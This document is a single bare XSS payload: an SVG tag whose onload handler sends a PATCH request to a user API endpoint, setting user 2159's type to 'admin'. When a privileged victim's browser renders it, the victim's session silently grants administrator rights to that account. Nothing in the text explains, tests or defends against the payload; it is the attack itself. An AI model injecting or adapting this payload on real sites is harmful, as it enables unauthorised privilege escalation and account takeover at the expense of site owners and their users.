<svg onload=fetch('/api/v1/users/2159',{method:'PATCH',headers:{'Content-Type':'application/json'},body:'{"type":"admin"}'})>